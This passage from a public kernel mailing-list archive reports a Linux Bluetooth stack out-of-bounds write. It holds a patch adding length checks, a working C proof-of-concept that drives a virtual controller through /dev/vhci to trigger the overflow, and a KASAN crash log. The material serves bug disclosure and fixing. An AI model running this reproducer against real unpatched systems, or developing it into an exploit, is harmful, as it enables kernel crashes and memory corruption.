+u8 eir_create_scan_rsp(struct hci_dev *hdev, u8 instance, u8 *ptr, u8 size)
 {
 	struct adv_info *adv;
 	u8 scan_rsp_len = 0;
@@ -357,6 +367,10 @@ u8 eir_create_scan_rsp(struct hci_dev *hdev, u8 instance, u8 *ptr)
 	if ((adv->flags & MGMT_ADV_FLAG_APPEARANCE) && hdev->appearance)
 		scan_rsp_len = eir_append_appearance(hdev, ptr, scan_rsp_len);
 
+	/* See the matching check in eir_create_adv_data(). */
+	if (scan_rsp_len + adv->scan_rsp_len > size)
+		return 0;
+
 	memcpy(&ptr[scan_rsp_len], adv->scan_rsp_data, adv->scan_rsp_len);
 
 	scan_rsp_len += adv->scan_rsp_len;
diff --git a/net/bluetooth/eir.h b/net/bluetooth/eir.h
--- a/net/bluetooth/eir.h
+++ b/net/bluetooth/eir.h
@@ -10,7 +10,7 @@
 void eir_create(struct hci_dev *hdev, u8 *data);
 
 u8 eir_create_adv_data(struct hci_dev *hdev, u8 instance, u8 *ptr, u8 size);
-u8 eir_create_scan_rsp(struct hci_dev *hdev, u8 instance, u8 *ptr);
+u8 eir_create_scan_rsp(struct hci_dev *hdev, u8 instance, u8 *ptr, u8 size);
 u8 eir_create_per_adv_data(struct hci_dev *hdev, u8 instance, u8 *ptr);
 
 u8 eir_append_local_name(struct hci_dev *hdev, u8 *eir, u8 ad_len);
diff --git a/net/bluetooth/hci_sync.c b/net/bluetooth/hci_sync.c
--- a/net/bluetooth/hci_sync.c
+++ b/net/bluetooth/hci_sync.c
@@ -1563,7 +1563,8 @@ static int hci_set_ext_scan_rsp_data_sync(struct hci_dev *hdev, u8 instance)
 		}
 	}
 
-	len = eir_create_scan_rsp(hdev, instance, pdu->data);
+	len = eir_create_scan_rsp(hdev, instance, pdu->data,
+				  HCI_MAX_EXT_AD_LENGTH);
 
 	pdu->handle = adv ? adv->handle : instance;
 	pdu->length = len;
@@ -1609,7 +1610,7 @@ static int __hci_set_scan_rsp_data_sync(struct hci_dev *hdev, u8 instance)
 	if (instance)
 		hci_dev_lock(hdev);
 
-	len = eir_create_scan_rsp(hdev, instance, cp.data);
+	len = eir_create_scan_rsp(hdev, instance, cp.data, sizeof(cp.data));
 
 	if (instance)
 		hci_dev_unlock(hdev);

[-- Attachment #4: eir-oob.c --]
[-- Type: text/x-csrc, Size: 7773 bytes --]

// Bluetooth: stack out-of-bounds write in eir_create_adv_data() / eir_create_scan_rsp()
//
//   gcc -O2 -o eir-oob eir-oob.c
//   ./eir-oob             # eir_create_adv_data(),  net/bluetooth/eir.c:303
//   ./eir-oob scan_rsp    # eir_create_scan_rsp(),  net/bluetooth/eir.c:360
//
// Needs root (/dev/vhci and the HCIDEVUP/HCIDEVDOWN ioctls) and a CONFIG_KASAN kernel.
//
// An advertising instance's data length is validated once, when it is set, against
// max_adv_len(hdev) == ext_adv_capable(hdev) ? 251 : 31.  The instance then outlives the
// bring-up that validated it, while ext_adv_capable() - which reads hdev->le_features[1],
// re-read from the controller on every bring-up - does not.  So: register 220 bytes while
// the controller reports LE Extended Advertising, then bring the same controller back up
// without it.  hci_powered_update_adv_sync() re-arms the stored instance down the legacy
// path, which memcpy()s those 220 bytes into a 31-byte buffer on the stack.

#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <stdarg.h>
#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#include <sys/socket.h>
#include <unistd.h>

#ifndef AF_BLUETOOTH
#define AF_BLUETOOTH		31
#endif
#define BTPROTO_HCI		1
#define HCI_DEV_NONE		0xffff
#define HCI_CHANNEL_CONTROL	3

#define HCIDEVUP		0x400448c9
#define HCIDEVDOWN		0x400448ca

#define HCI_COMMAND_PKT		0x01
#define HCI_EVENT_PKT		0x04
#define HCI_EV_CMD_COMPLETE	0x0e

#define MGMT_OP_SET_POWERED	0x0005
#define MGMT_OP_SET_LE		0x000d
#define MGMT_OP_ADD_ADVERTISING	0x003e

/* > HCI_MAX_AD_LENGTH (31), <= HCI_MAX_EXT_AD_LENGTH (251) */
#define AD_LEN			220

static int vhci;		  /* /dev/vhci */
static volatile int *ext_adv;	  /* shared with the responder child */

/* A crash takes stdout with it, so say everything on the console too. */
static void say(const char *fmt, ...)
{
	char line[256];
	va_list ap;
	int n, fd;

	va_start(ap, fmt);
	n = vsnprintf(line, sizeof(line), fmt, ap);
	va_end(ap);
	write(1, line, n);
	fd = open("/dev/kmsg", O_WRONLY);
	if (fd >= 0) {
		write(fd, line, n);
		close(fd);
	}
}

/* ---- the controller: answer every HCI command the host sends --------------------- */

static void reply(uint16_t opcode, const uint8_t *ret, uint8_t len)
{
	uint8_t pkt[6 + 255];

	pkt[0] = HCI_EVENT_PKT;
	pkt[1] = HCI_EV_CMD_COMPLETE;
	pkt[2] = 3 + len;		/* parameter total length */
	pkt[3] = 1;			/* Num_HCI_Command_Packets */
	pkt[4] = opcode & 0xff;
	pkt[5] = opcode >> 8;
	memcpy(pkt + 6, ret, len);
	write(vhci, pkt, 6 + len);
}

static void responder(void)
{
	uint8_t buf[4096], ret[255];

	for (;;) {
		ssize_t n = read(vhci, buf, sizeof(buf));
		uint16_t opcode;

		if (n < 4 || buf[0] != HCI_COMMAND_PKT)
			continue;
		opcode = buf[1] | (buf[2] << 8);
		memset(ret, 0, sizeof(ret));

		switch (opcode) {
		case 0x1003:	/* Read Local Supported Features */
			ret[1 + 4] = 0x40;		/* LMP_LE */
			reply(opcode, ret, 9);
			break;
		case 0x2003:	/* LE Read Local Supported Features */
			if (*ext_adv)
				ret[1 + 1] = 0x10;	/* HCI_LE_EXT_ADV */
			reply(opcode, ret, 9);
			break;
		case 0x1005:	/* Read Buffer Size - hci_cc_read_buffer_size()
				 * fails init outright on a zero ACL MTU or
				 * packet count */
			ret[1] = 0xff;		/* acl_mtu   = 1023 */
			ret[2] = 0x03;
			ret[4] = 4;		/* acl_max_pkt = 4 */
			reply(opcode, ret, 8);
			break;
		case 0x1009:	/* Read BD_ADDR - a zero address makes
				 * hci_power_on() close the device again */
			memset(ret + 1, 0xa1, 6);
			reply(opcode, ret, 7);
			break;
		case 0x203b:	/* LE Read Number of Supported Advertising Sets
				 * - zero of them and Add Advertising below is
				 * rejected with Invalid Params */
			ret[1] = 5;
			reply(opcode, ret, 2);
			break;
		case 0x2036:	/* LE Set Extended Advertising Parameters -
				 * status + TX power, and this one's length IS
				 * checked strictly; getting it wrong fails
				 * hci_start_ext_adv_sync(), whose error path
				 * removes the instance we are trying to store */
			reply(opcode, ret, 2);
			break;
		default:	/* Success for everything else. 250 is the
				 * largest reply any opcode's hci_cc entry
				 * expects, and a reply SHORTER than expected
				 * is a hard error while a longer one is only
				 * a "unexpected cc 0x... length: 250 > N"
				 * warning - so one length fits all, at the
				 * cost of those warnings on the console. */
			reply(opcode, ret, 250);
			break;
		}
	}
}

/* ---- the host: management commands ----------------------------------------------- */

static int mgmt(int fd, uint16_t op, uint16_t index, const void *data, uint16_t len)
{
	uint8_t cmd[6 + 11 + AD_LEN], ev[512];
	int i;

	cmd[0] = op & 0xff;
	cmd[1] = op >> 8;
	cmd[2] = index & 0xff;
	cmd[3] = index >> 8;
	cmd[4] = len & 0xff;
	cmd[5] = len >> 8;
	memcpy(cmd + 6, data, len);
	if (write(fd, cmd, 6 + len) < 0)
		return -errno;

	/* Skip the unsolicited events and report this command's own status. */
	for (i = 0; i < 16; i++) {
		ssize_t n = read(fd, ev, sizeof(ev));
		uint16_t evt;

		if (n < 9)
			return -1;
		evt = ev[0] | (ev[1] << 8);
		if ((evt == 0x0001 || evt == 0x0002) &&
		    (ev[6] | (ev[7] << 8)) == op)
			return ev[8];
	}
	return -1;
}

int main(int argc, char **argv)
{
	int scan_rsp = argc > 1 && !strcmp(argv[1], "scan_rsp");
	uint8_t cp[11 + AD_LEN], ack[4], on = 1;
	uint16_t addr[3];
	int index, mfd, hfd;
	pid_t child;

	ext_adv = mmap(NULL, sizeof(int), PROT_READ | PROT_WRITE,
		       MAP_SHARED | MAP_ANONYMOUS, -1, 0);
	*ext_adv = 1;

	vhci = open("/dev/vhci", O_RDWR);
	if (vhci < 0) {
		say("open /dev/vhci: %m\n");
		return 1;
	}
	/* Create a virtual controller: HCI_VENDOR_PKT, HCI_PRIMARY. */
	write(vhci, "\xff\x00", 2);
	if (read(vhci, ack, sizeof(ack)) < 4) {
		say("no device-created packet back from /dev/vhci\n");
		return 1;
	}
	index = ack[2] | (ack[3] << 8);
	say("hci%d created, sink=%s\n", index, scan_rsp ? "scan_rsp" : "adv_data");

	child = fork();
	if (child == 0) {
		/* The responder loops forever; make sure it cannot outlive
		 * this program and sit on /dev/vhci. */
		prctl(PR_SET_PDEATHSIG, SIGKILL);
		responder();
		_exit(0);
	}
	/* hci_register_dev() queues hci_power_on(), which runs the whole init
	 * sequence by itself - the child above answers it with EXT_ADV set. */
	sleep(2);

	mfd = socket(AF_BLUETOOTH, SOCK_RAW, BTPROTO_HCI);
	addr[0] = AF_BLUETOOTH;
	addr[1] = HCI_DEV_NONE;
	addr[2] = HCI_CHANNEL_CONTROL;
	if (bind(mfd, (struct sockaddr *)addr, sizeof(addr)) < 0) {
		say("bind(HCI_CHANNEL_CONTROL): %m\n");
		return 1;
	}

	say("set powered: %d\n", mgmt(mfd, MGMT_OP_SET_POWERED, index, &on, 1));
	say("set le: %d\n", mgmt(mfd, MGMT_OP_SET_LE, index, &on, 1));

	/* instance(1) flags(4) duration(2) timeout(2) adv_data_len(1)
	 * scan_rsp_len(1) data[].  flags = 0: nothing the kernel manages, so
	 * tlv_data_max_len() is plain max_adv_len(hdev) == 251 here. */
	memset(cp, 0, sizeof(cp));
	cp[0] = 1;				/* instance */
	cp[9] = scan_rsp ? 0 : AD_LEN;		/* adv_data_len */
	cp[10] = scan_rsp ? AD_LEN : 0;		/* scan_rsp_len */
	cp[11] = AD_LEN - 1;			/* one AD structure, all of it */
	cp[12] = 0xff;				/* Manufacturer Specific Data */
	memset(cp + 13, 'A', AD_LEN - 2);
	say("add advertising %d bytes: %d\n", AD_LEN,
	    mgmt(mfd, MGMT_OP_ADD_ADVERTISING, index, cp, sizeof(cp)));

	/* The same controller, now without LE Extended Advertising. */
	*ext_adv = 0;

	hfd = socket(AF_BLUETOOTH, SOCK_RAW, BTPROTO_HCI);
	say("HCIDEVDOWN: %d\n", ioctl(hfd, HCIDEVDOWN, index));
	sleep(1);
	say("HCIDEVUP - the overflow happens inside this ioctl\n");
	say("HCIDEVUP: %d\n", ioctl(hfd, HCIDEVUP, index));

	sleep(1);
	say("still alive - no overflow this time\n");
	kill(child, SIGKILL);
	return 0;
}

[-- Attachment #5: kasan-eir_create_scan_rsp.txt --]
[-- Type: text/plain, Size: 6675 bytes --]

==================================================================
BUG: KASAN: stack-out-of-bounds in eir_create_scan_rsp+0x119/0x1a0 net/bluetooth/eir.c:360
Write of size 220 at addr ffffc9000a9ff9c1 by task syz-executor/9585

CPU: 3 UID: 0 PID: 9585 Comm: syz-executor Not tainted 7.3.1-g41f174fd422b-dirty #8 PREEMPT(full) 
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
 <TASK>
 __dump_stack lib/dump_stack.c:94 [inline]
 dump_stack_lvl+0x10e/0x190 lib/dump_stack.c:120
 print_address_description mm/kasan/report.c:378 [inline]
 print_report+0x153/0x710 mm/kasan/report.c:482
 kasan_report+0xd2/0x110 mm/kasan/report.c:595
 check_region_inline mm/kasan/generic.c:-1 [inline]
 kasan_check_range+0x2d2/0x2e0 mm/kasan/generic.c:594
 __asan_memcpy+0x40/0x70 mm/kasan/shadow.c:106
 eir_create_scan_rsp+0x119/0x1a0 net/bluetooth/eir.c:360
 __hci_set_scan_rsp_data_sync+0xd2/0x270 net/bluetooth/hci_sync.c:1612
 hci_update_scan_rsp_data_sync+0xa9/0xf0 net/bluetooth/hci_sync.c:1638
 hci_start_adv_sync+0xb9/0xe0 net/bluetooth/hci_sync.c:1926
 hci_schedule_adv_instance_sync+0x2ef/0x330 net/bluetooth/hci_sync.c:2119
 hci_powered_update_adv_sync+0x27d/0x2d0 net/bluetooth/hci_sync.c:3526
 hci_powered_update_sync+0xf0/0x370 net/bluetooth/hci_sync.c:3694
 hci_dev_open_sync+0x72e/0x7d0 net/bluetooth/hci_sync.c:5459
 hci_dev_do_open+0x46/0xe0 net/bluetooth/hci_core.c:431
 hci_dev_open+0x1d6/0x210 net/bluetooth/hci_core.c:487
 hci_sock_ioctl+0x536/0x680 net/bluetooth/hci_sock.c:1139
 sock_do_ioctl net/socket.c:1325 [inline]
 sock_ioctl+0x581/0x830 net/socket.c:1446
 vfs_ioctl fs/ioctl.c:51 [inline]
 __do_sys_ioctl fs/ioctl.c:597 [inline]
 __se_sys_ioctl+0xce/0x140 fs/ioctl.c:583
 do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline]
 do_syscall_64+0x170/0x540 arch/x86/entry/syscall_64.c:84
 entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x42738b
Code: 00 48 89 44 24 18 31 c0 48 8d 44 24 60 c7 04 24 10 00 00 00 48 89 44 24 08 48 8d 44 24 20 48 89 44 24 10 b8 10 00 00 00 0f 05 <89> c2 3d 00 f0 ff ff 77 1c 48 8b 44 24 18 64 48 2b 04 25 28 00 00
RSP: 002b:00007fff29844470 EFLAGS: 00000246 ORIG_RAX: 0000000000000010
RAX: ffffffffffffffda RBX: 0000000000000008 RCX: 000000000042738b
RDX: 0000000000000000 RSI: 00000000400448c9 RDI: 0000000000000008
RBP: 0000000000000000 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000000
R13: 00000000235133a8 R14: 00007fff2984460f R15: 0000000000000002
 </TASK>

The buggy address belongs to stack of task syz-executor/9585
 and is located at offset 33 in frame:
 __hci_set_scan_rsp_data_sync+0x0/0x270 include/linux/fortify-string.h:549

This frame has 1 object:
 [32, 64) 'cp'

The buggy address belongs to a vmalloc virtual mapping
The buggy address belongs to the physical page:
page: refcount:1 mapcount:0 mapping:0000000000000000 index:0x7f93bfa2d pfn:0x5b5cf
memcg:ffff88804c101f02
flags: 0x4fff00000000000(node=1|zone=1|lastcpupid=0x7ff)
raw: 04fff00000000000 0000000000000000 dead000000000122 0000000000000000
raw: 00000007f93bfa2d 0000000000000000 00000001ffffffff ffff88804c101f02
page dumped because: kasan: bad access detected
page_owner tracks the page as allocated
page last allocated via order 0, migratetype Unmovable, gfp_mask 0x29c2(GFP_NOWAIT|__GFP_HIGHMEM|__GFP_IO|__GFP_FS|__GFP_ZERO), pid 9584, tgid 9584 (syz-executor), ts 209124958665
 set_page_owner include/linux/page_owner.h:33 [inline]
 post_alloc_hook+0x1b6/0x210 mm/page_alloc.c:1871
 prep_new_page mm/page_alloc.c:1879 [inline]
 get_page_from_freelist+0x17c3/0x1820 mm/page_alloc.c:3943
 __alloc_frozen_pages_noprof+0x1df/0x4f0 mm/page_alloc.c:5436
 alloc_pages_mpol+0x208/0x410 mm/mempolicy.c:2486
 alloc_frozen_pages_noprof mm/mempolicy.c:2557 [inline]
 alloc_pages_noprof+0x99/0x200 mm/mempolicy.c:2577
 vm_area_alloc_pages mm/vmalloc.c:3689 [inline]
 __vmalloc_area_node mm/vmalloc.c:3914 [inline]
 __vmalloc_node_range_noprof+0x5d1/0x1160 mm/vmalloc.c:4104
 __vmalloc_node_noprof+0x89/0xc0 mm/vmalloc.c:4165
 alloc_thread_stack_node kernel/fork.c:359 [inline]
 dup_task_struct+0x24d/0x6d0 kernel/fork.c:930
 copy_process+0x653/0x28c0 kernel/fork.c:2143
 kernel_clone+0x221/0x760 kernel/fork.c:2784
 __do_sys_clone kernel/fork.c:2926 [inline]
 __se_sys_clone kernel/fork.c:2910 [inline]
 __x64_sys_clone+0x139/0x1a0 kernel/fork.c:2910
 do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline]
 do_syscall_64+0x170/0x540 arch/x86/entry/syscall_64.c:84
 entry_SYSCALL_64_after_hwframe+0x77/0x7f
page last free pid 10 tgid 10 ts 199534101892 stack trace:
 reset_page_owner include/linux/page_owner.h:26 [inline]
 __free_pages_prepare mm/page_alloc.c:1418 [inline]
 __free_frozen_pages+0x8a9/0x930 mm/page_alloc.c:2962
 __slab_free+0x27b/0x2d0 mm/slub.c:5829
 qlink_free mm/kasan/quarantine.c:163 [inline]
 qlist_free_all+0x99/0x100 mm/kasan/quarantine.c:179
 kasan_quarantine_reduce+0x148/0x160 mm/kasan/quarantine.c:286
 __kasan_slab_alloc+0x22/0x80 mm/kasan/common.c:397
 kasan_slab_alloc include/linux/kasan.h:260 [inline]
 slab_post_alloc_hook mm/slub.c:4689 [inline]
 slab_alloc_node mm/slub.c:5002 [inline]
 __kmalloc_cache_noprof+0x2a3/0x620 mm/slub.c:5565
 _kmalloc_noprof include/linux/slab.h:991 [inline]
 _kzalloc_noprof include/linux/slab.h:1312 [inline]
 drm_atomic_commit_alloc+0x6c/0xc0 drivers/gpu/drm/drm_atomic.c:258
 drm_atomic_helper_dirtyfb+0xc9/0x770 drivers/gpu/drm/drm_damage_helper.c:128
 drm_fbdev_shmem_helper_fb_dirty+0xcc/0x1c0 drivers/gpu/drm/drm_fbdev_shmem.c:117
 drm_fb_helper_fb_dirty drivers/gpu/drm/drm_fb_helper.c:339 [inline]
 drm_fb_helper_damage_work+0x609/0x840 drivers/gpu/drm/drm_fb_helper.c:365
 process_one_work kernel/workqueue.c:3396 [inline]
 process_scheduled_works+0x8e2/0x10d0 kernel/workqueue.c:3479
 worker_thread+0x501/0x750 kernel/workqueue.c:3560
 kthread+0x26a/0x2c0 kernel/kthread.c:436
 ret_from_fork+0x475/0x8c0 arch/x86/kernel/process.c:158
 ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245

Memory state around the buggy address:
 ffffc9000a9ff880: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 ffffc9000a9ff900: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
>ffffc9000a9ff980: 00 00 00 00 f1 f1 f1 f1 00 00 00 00 f3 f3 f3 f3
                                                       ^
 ffffc9000a9ffa00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 ffffc9000a9ffa80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
==================================================================

<<<<<<<<<<<<<<< tail report >>>>>>>>>>>>>>>

SYZFAIL: failed to recv rpc
fd=3 want=4 recv=0 n=0 (errno 22: Invalid argument)

<<<<<<<<<<<<<<< tail report >>>>>>>>>>>>>>>


^ permalink raw reply	[flat|nested] 2+ messages in thread

end of thread, other threads:[~2026-11-10 15:11 UTC | newest]

Thread overview: 2+ messages (download: mbox.gz / follow: Atom feed)
-- links below jump to the message on this page --
     [not found] <CADq=QSxw-5LstC5McTqfsp9NaVrsUcemepw2g_TJXNrdpgFdRQ@mail.gmail.com>
2026-11-10 15:11 ` [BUG] Bluetooth: stack out-of-bounds write in eir_create_adv_data() and eir_create_scan_rsp() when a controller stops reporting LE Extended Advertising (seen on 7.3.1) Luiz Augusto von Dentz
2026-11-10  5:22 Piyus Kedia

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox

all inboxes | Powered by JetHome®